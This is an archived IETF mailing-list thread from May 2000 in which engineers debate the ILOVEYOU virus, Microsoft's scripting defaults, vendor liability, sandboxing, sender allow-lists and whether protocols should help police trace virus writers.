Microsoft doesn't stop scripts from reading people's address books?  Why
didn't MS plug this hole after Melissa?

Brant

> Host\Settings\Timeout",0,"REG_DWORD"

Pretty blatant security problem, being able to set the timeout for the
running script so it can take all the time it wants.  (Besides being
able to write to the registry, etc.)

---

From: Jacob Palme <[email-masked]>
Date: Sun, 7 May 2000 12:06:36 +0200

> held liable for poor engineering or implementation of bridges or buildings.

This discussion is highly relevant to the IETF list, if we
discuss the problems and how to overcome them, and avoid
the never-ending platform war discussions.

At the IETF meeting in December 1999, the issue was
discussed whether IETF should support changes in protocols
which would make it easier to find villains committing
crime on the net. This was discussed in a large plenary
meeting, with about a thousand people present. A very large
majority, something like 95 or 98 percent of those present,
voted against this. I was one of the few who voted yes.

All of you who voted against designing Internet protocols
so as to help police finding the villain of criminal
net-behavour: Have you not changed your mind? Should we not
try to find and prosecute the people distributing viruses?
Should we not redesign the Internet, so that this becomes
easier, for example by doing more logging in the routers,
so that you can go back and check from where something
illegal came. Or do you mean that this is impossible,
because the villains will just get more clever and learn to
cheat such procedures?

-- 
Jacob Palme <[email-masked]> (Stockholm University and KTH)
for more info see URL: http://www.dsv.su.se/jpalme/

---

From: Keith Moore <[email-masked]>
Date: Sun, 07 May 2000 11:17:42 -0400

Jacob,

in my mind the people most responsible for the viruses are those who
built systems that were so easily compromised.

we don't need protocol support to track them down.

Keith

---

From: Jacob Palme <[email-masked]>
Date: Sun, 7 May 2000 17:55:19 +0200

> we don't need protocol support to track them down.

That is certainly one factor of importance. But even the
best systems can be compromised, and crimes directly using
the Internet, such as ping overloads, mail bombing, using
vulnerabilities like buffer overlow, etc., do occur. Also,
designing systems which are more safe from viruses may be
systems which are less user-friendly. For example, I have
set my MS Office programs to always ask me before running a
macro in an unkown file in it. The advantage is less risk for
viruses, but the disadvantage is that I have to OK those
questions from MS Office of whether to accept macros. And
if they occur too open, there is a risk that I click "yes"
before thinking through the risk of doing this.

The general view in the Internet community seems to be that
the rights to privacy and anonymity are more important than
catching the increasing amount of criminality on the net.
But would it not be possible to design methods which
protects privacy and anonymity and still makes it possible
to catch criminals. Privacy and anonymity should be
preserved as long as people use them for legal activities.
If, however, they commit crimes, like spreading viruses,
mail bombing, ping overload, etc., are they still entitled
to privacy and anonymity? Can we design logging and tracing
methods which are protected so that they cannot be used
without cause.

I do not know about the laws in the U.S.A., but in my
country, Sweden, police are allowed to perform wiretapping
and electronic eavesdropping only by decision of a court,
and only when there is reason to believe the someone has
committed a crime with a penalty of at least two years in
prison. Could not the methods of catching criminals on the
Internet be protected by similar safeguards? Could not the
tracing and logging be protected by crypthographic
authorisation which only allows their use in proper ways?

This may be a difference in culture. Compared to my own
home country, Sweden, people in the U.S. seem to be very
paranoic in their view of public law enforcement. This
may be because public law enforcement agencies abuse their
privileges more in your country. Or it may be that people
in Sweden are so accustomed to government control that
they do not react?
-- 
Jacob Palme <[email-masked]> (Stockholm University and KTH)
for more info see URL: http://www.dsv.su.se/jpalme/

---

From: John C Klensin <[email-masked]>
Date: Sun, 07 May 2000 12:43:00 -0400

--On Sunday, 07 May, 2000 11:17 -0400 Keith Moore
<[email-masked]> wrote:

> in my mind the people most responsible for the viruses are
> those who built systems that were so easily compromised.
> 

Keith,

This is a difficult issue and, IMO, a slippery slope.   I want
to agree with you, I really do, partially because I believe that
it is a really bad idea for organizations to ship software with
all security controls off by default, especially if there is no
really easy way to enable those controls, and that companies
that do so should take responsibility for the consequences.  

However, in the more general case, if one takes the position
that, if I build a dangerous-but-useful tool and someone misuses
it, I should be held responsible, we are going to end up with
rules against a lot of very useful stuff including, in extreme
cases, many open source environments.

While this situation has not changed my feelings about the Raven
outcome any more than it has yours, this is probably not a good
situation about which to get simplistic.

    john

---

From: Tim Salo <[email-masked]>
Date: Sun, 7 May 2000 11:51:24 -0500 (CDT)

> Date: Sun, 7 May 2000 17:55:19 +0200
> To: IETF general mailing list <[email-masked]>
> From: Jacob Palme <[email-masked]>
> 	[...]
> I have
> 	[...]

Other disadvantages include:

o	You have very little basis upon which to make a decision.  You
	can decide based upon whether you trust the sender (which isn't
	much to go on, as shown by the recent batch of Outlook viruses),
	but you can't decide based on whether the macro might damage
	your system.

o	Once you click "yes", there is apparently little limit to the
	damage that the macro can do, (if it isn't executing in a well-
	constructed sandbox).

-tjs

---

From: [email-masked]
Date: Sun, 07 May 2000 11:07:08 -0800 (PST)

> voted against this. I was one of the few who voted yes.

Well, I was there, and I question the validity of your assessment of what was
going on. While it is true that there was a clear concensus opposed to adding
wiretapping facilities in the RAVEN sense, it was by no means 95-98 percent.

And even more important, this wasn't a vote about mechanisms that would make it
easier to find people who distribute viruses. Wiretapping has little if
anything to do with tracking down people who distribute virusus.

> net-behavour: Have you not changed your mind?

On wiretapping, no I haven't. Nor have I changed my mind about viruss.
But again, one of these has almost nothing to do with the other. The scope
of the question asked was very narrowly drawn. You're reading a lot more
into the question that was there.

> Should we not

Of course we should. But again, this is a matter of having a useful security
infrastructure on the net, not wiretapping. I suspect that if you asked the
same group of people who voted against wiretapping how they felt about security
infrastructure you'd get a _very_ different response.

> illegal came.

And once again you're switching topics. The issue of tracing traffic is quite
different from wiretapping and quite different from having the  tools to track
virus distribution end to end. These are three separate matters.

> Or do you mean that this is impossible,

Your message is now so confused that there's no way I can answer this sensibly.

				Ned

---

From: Keith Moore <[email-masked]>
Date: Sun, 07 May 2000 15:06:38 -0400

> cases, many open source environments.

understood, and agreed that that danger exists.

however I do think there is some culpability on the part of the
software vendor.  and from a purely pragmatic perspective, it's a 
lot easier for the vendor to make software that is less susceptible 
to such things, than it is to get rid of the virus writers.

and if the folks who sell such software would just fix this, we wouldn't 
need to care so much about culpability.  but I'm not holding my breath
waiting for this to happen.

Keith

---

From: Jon Crowcroft <[email-masked]>
Date: Sun, 07 May 2000 20:25:21 +0100

1/ i think microsoft and the alleged hacker have provived an exxcellent lesson in active networks

2/ is anyone interested in jamming at the next IETF (folk, jazz, rock, thrash, triphop etc - you know, primal
scream...) - i  can bring a guitar (or bass or flute or something...) but local folks would 
be easier on the wrists!!!

j.

---

From: Keith Moore <[email-masked]>
Date: Sun, 07 May 2000 15:28:20 -0400

Jacob,

Given a choice between reducing crime via more government surveillance 
and reducing crime via software that doesn't do stupid things, I'd far 
prefer the latter.  I don't know of any good reason for a mail reader
to make it so easy to execute code that can have harmful side effects,
but history has provided us with many examples of governments abusing
their power (legitimate or otherwise) to conduct surveillance.

not that this is terribly relevant to the ILOVEYOU virus...the virus is 
being transmitted in the clear; the US government (at least) seems 
perfectly knowledgable about it and ISPs appear to have been
cooperating with government authorities to help track down the source.
it's not as if the code is a secret, and if I believe the news reports 
the authorities are already very close to nabbing the culprit.  
(or at least, a suspect...)

Keith

note that the IETF policy is to not develop facilities specifically for 
the purpose of supporting government surveillance...this does not
mean that IETF is actively trying to prevent governments from 
conducting surveillance, either using facilities developed for other
purposes, or facilities not developed by IETF.  it just means that 
IETF has decided to concentrate its energies in other areas.

---

From: Tripp Lilley <[email-masked]>
Date: Sun, 7 May 2000 21:36:45 +0000 (/etc/localtime)

On Sun, 7 May 2000, Jon Crowcroft wrote:

> 2/ is anyone interested in jamming at the next IETF (folk, jazz, rock,
> thrash, triphop etc - you know, primal scream...) - i can bring a guitar
> (or bass or flute or something...) but local folks would be easier on
> the wrists!!! 

I just got a bodhran I'm itchin' to play...

--
   Tripp Lilley  *  [email-masked]  *  http://stargate.sg505.net/~tlilley/
------------------------------------------------------------------------------
  "I get a lot of letters like, 'Dear John, I've got a dead alien. What
   should I do with it?'  One word: barbecue!"

   - John Lovitz, A Yellow Pages commercial

---

From: Lloyd Wood <[email-masked]>
Date: Sun, 7 May 2000 23:14:46 +0100 (BST)

> to make it so easy to execute code that can have harmful side effects,

'freedom to innovate'.

In software, anything that can be imagined will be implemented.
Badly.

L.

watching nightmares come true.

---

From: Bob Welsh <[email-masked]>
Date: Sun, 07 May 2000 18:26:20 -0400

I'll bring some harmonmicas!

---

From: Magnus Danielson <[email-masked]>
Date: Mon, 08 May 2000 15:05:00 +0200

From: Jacob Palme <[email-masked]>
Subject: Re: VIRUS WARNING
Date: Sun, 7 May 2000 17:55:19 +0200

Jacob,

Sorry for stepping slightly out of the topic you are discussing,

> before thinking through the risk of doing this.

What you really would like to have is a common accept/deny type of list.
This would trim down the required OK's quite alot. Those which are on the deny
list would be silently denied and those on the accept list would be silently
accepted. Only those not existing on either of the lists would actually require
manual intervention in approving.

While I may not normally want say Javascripts enabled (and I usually *dont*)
I do want this for some services, like my Internet bank, ordering of books or
other day-to-day activities. Also, I normally is not interested in any
Javascripts pushed in my face during normal surfing since most of the time it
is just annoying in my mind, but that is my view and my preference.

So, by having an accept/deny list in the client side you are able to trim the
settings more finegrainly. The downside to this is that way to many users
rarely changes anything once the system is up and they will most probably set
things to allow as much as possible to happend as a default.

In my mind there is still a lot of things to do in the client side which is not
particularly smart, not particularly safe but may raise the bar sufficiently
for the kind of attack we are discussing. It does nothing to save us from all
other forms of attack.

Also, for mail-lists one should really consider wiether it is a goot thing to
allow all sort of attachments to be sent by anyone. Passing a script or other
executable info along with the mail is good for some, but not all need it in
order to write and read email. There is even lists where passing GIF or JPEGs
is not allowed, and the mail server could be configured to blcok these mails.
This is also a very rought tool, but could also save lives in these situations
since email-lists is really a high-price hit for this kind of attack. This
form of blocking should probably also be controled using accept/deny lists,
since there may very well be a group of people which have a legal reason to
pass material around (such as patches, Word documents etc).

> prison.

Actually, in order to wiretap you first of all must be the Swedish police,
then you must have a court order based on sufficient believe of criminal
activity. All other wiretapping is forbidden.

This is a slightly stronger statement, since this forbids say NSA to wiretap
phonecalls or computer traffic in Sweden, even by remote means. Also, tapping
radio traffic is useless, since they may not actually do anything with the
information since the spreading of the information is regulated.

But then, it is hard to figure out where the possible crime of wiretapping was
commited and then apply the laws accordingly. Most probably is these laws
broken on continous basis and no one does anything.

BTW. I enjoyed Mr. Palme's discussion.

Cheers,
Magnus

---

From: Jacob Palme <[email-masked]>
Date: Tue, 9 May 2000 02:53:31 +0200

> wiretapping facilities in the RAVEN sense, it was by no means 95-98 percent.

Perhaps I misunderstood the question being asked at the
meeting. I understood the question to be if we wanted to
develop protocols to help police trace net villains, you
understood it to be more restricted in only helping police
perform viretapping.

At 21.39 -0700 0-05-07, James P. Salsman wrote:
> I fully agree and have decided to sponsor a contest to correct
> the situation.  I will give one share of Microsoft stock to the
> first person who posts, to this IETF Discussion list, a draft
> shareholder resolution that would, in the opinion of Keith Moore
> or his designated alternate, correct the situation if it were
> adopted by Microsoft Corporation as we currently know it.

Certainly, Microsoft software could be designed to make it more
difficult for virus spreading. However, the villains will learn
to get around such features. Compare with spammers. A few years
ago, you could easily detect spamming by checking if a message
did not come from a mailing list you subscribed to, and did not
have your name in any of the recipient field. Today, more and
more spam messages even contain your name in the text in some
kind of greeting "Hella Jacob", which obviously was put there
to confound spam checkers who detect spam by checking if many
identical messages are sent.

At 06.38 -0400 0-05-08, Garreth Jeremiah wrote:
> The "Java" sandbox idea in my mind is a great one.

My experience is that almost ever where I wanted to do something
useful with applets, what I wanted to do was forbidden by
security restrictions.

At 15.05 +0200 0-05-08, Magnus Danielson wrote:
> What you really would like to have is a common
>accept/deny type of list. This would trim down the
>required OK's quite alot. Those which are on the deny list
>would be silently denied and those on the accept list
>would be silently accepted. Only those not existing on
>either of the lists would actually require manual
>intervention in approving.

This will only work if the identity of the allowed senders
was identified with crypthographic methods. Otherwise,
the virus senders will find ways to make believe being
the people you trust.

---

Methods helping the police track virus makers:

(1) Making software more restrictive in accepting foreign
    code. Comment: Will help, unless the virus producers
    learn to circumwent it. Hass the risk of making life
    for ordinary legal users more difficult.

(2) Improve (1) with strong crypthographic methods to
    identify trusted senders. Comment: A promising method,
    if only strong crypthographic methods get commonly
    used. Note however, those of you who want to
    protect anonymity: Strong crypthographic methods
    are methods to identify people securely, not methods
    to allow people to be anonymous.

(3) Tracing and logging feature to find out where the
    virus came from. Comment: Virus makers will certainly
    try to cheat such systems by incorrect identification
    such as senders IP address. But I still believe this
    is one of the most promising methods.

(4) Sandbox environments for executing possibly dangerous
    code. Comment: Every good programming language should be
    designed as a "virtual machine" where a program, when
    executed, cannot do anything outside of this protected
    environment. I wrote this already in a paper published in
    Datamation, December 1975, pp 77-80, with the title
    "Languages for Reliable Software". However, the safest
    sandboxes are also those most restrictive against doing
    legal things well.

(5) Create anti-bodies which scan incoming data and detect
    known viruses. This is the main methods of the anti-
    virus software sold today. It is, however, becoming
    more difficult since the number of viruses is getting
    so large that the anti-body creators have problems
    keeping up with it.

I do not think this is an either/or situation. To stop
the proliferation of viruses, we should do all of this.
And IETF can certainly help, by designing methods to
support all of these anti-virus activities.

I do not think we can ever stop people from producing
viruses. If, however, we make the risk of getting caught
large enough, most of them will find other methods of
venting their anger at society, like stealing hubcaps
or crashing windows.

There is an obvious conflict between anonymity, privacy,
and detecting criminal behaviour. Different people position
themselves at different places on this scale, but you
cannot deny that the conflict exists. Crime is much
more common in urban than rural areas - just because
people are easier anonymous in the urban areas.
-- 
Jacob Palme <[email-masked]> (Stockholm University and KTH)
for more info see URL: http://www.dsv.su.se/jpalme/

---

From: Einar Stefferud <[email-masked]>
Date: Wed, 10 May 2000 21:36:28 -0700

The pattern is longer than you remember;-)...

From Brant's message Sat, 06 May 2000 00:38:29 +0000:
}
}I think I'm starting to see a pattern emerging in email viruses.
}
}Melissa:  Uses script to read user's address book to get the email
}addresses of new victims.
}ILOVEYOU: Uses script to read user's address book to get the email
}addresses of new victims.
}
}What method do you think the next email virus is going to use if
}Microsoft doesn't stop scripts from reading people's address books?  Why
}didn't MS plug this hole after Melissa?
}
}Brant

The first of these "worm/virus/addressbookmailers" was the IBM PROFS
"Chrismas Card" caper that occurred some time in the early 1990's,
long before MS willfully adopted the design.

((Aside: Do you suppose that MS wants to be like IBM so much that
  they are making all the same mistakes in the same serial order?))

Seems to me that this beloved "feature" (giving root privs to random
EMail messages) should (by now) now be fully discredited, and should
be destined for extinction, if only the customers will accept its
disappearance in trade for an absence of a continuing flood of these
$6,000,000,000 economic loss episodes.

This is a perfect proof of a conjecture made by Hasan Azbekan back in
the mid 1960's that "The Triumph of Technology is: Can Implies Shall".

There is no way to stop this kind of thing repeating and repeating
until the easily subverted facility disappears from the Internet.  And
as long as the customers demand it, it will continue;-)...  It is easy
to blame the vendors, but they are trapped into selling what the
customers demand.  So, the fault lies with the customers choices;-)...
And, they, led by the Fortune 2000, have rewarded MS handsomely for
creating the fertile ground for propagation.

For myself, I am contributing to the solution by never ever running
any kind of MS mail tool, ever again.  You see, I do not blame MS for
this.  I blame all the users of MS Mail tools for buying into the
game, and I am doing all that I can to make sure that I do not pay the
price for their disregard for their own safety and security.

I am pleased to say that I have not knowingly received a single copy
of the "LOVE BUG", even via mailing lists, though I do have to admit
to a certain sense of being unloved because of this great lack;-)...

Cheers...\Stef

---

From: Betsy Brennan <[email-masked]>
Date: Thu, 11 May 2000 08:58:40 -0400

I was wondering, does it sound like a good idea to take [email-masked]
out of our address books. This would prevent email virus's from
spreading through this forum. Betsy Brennan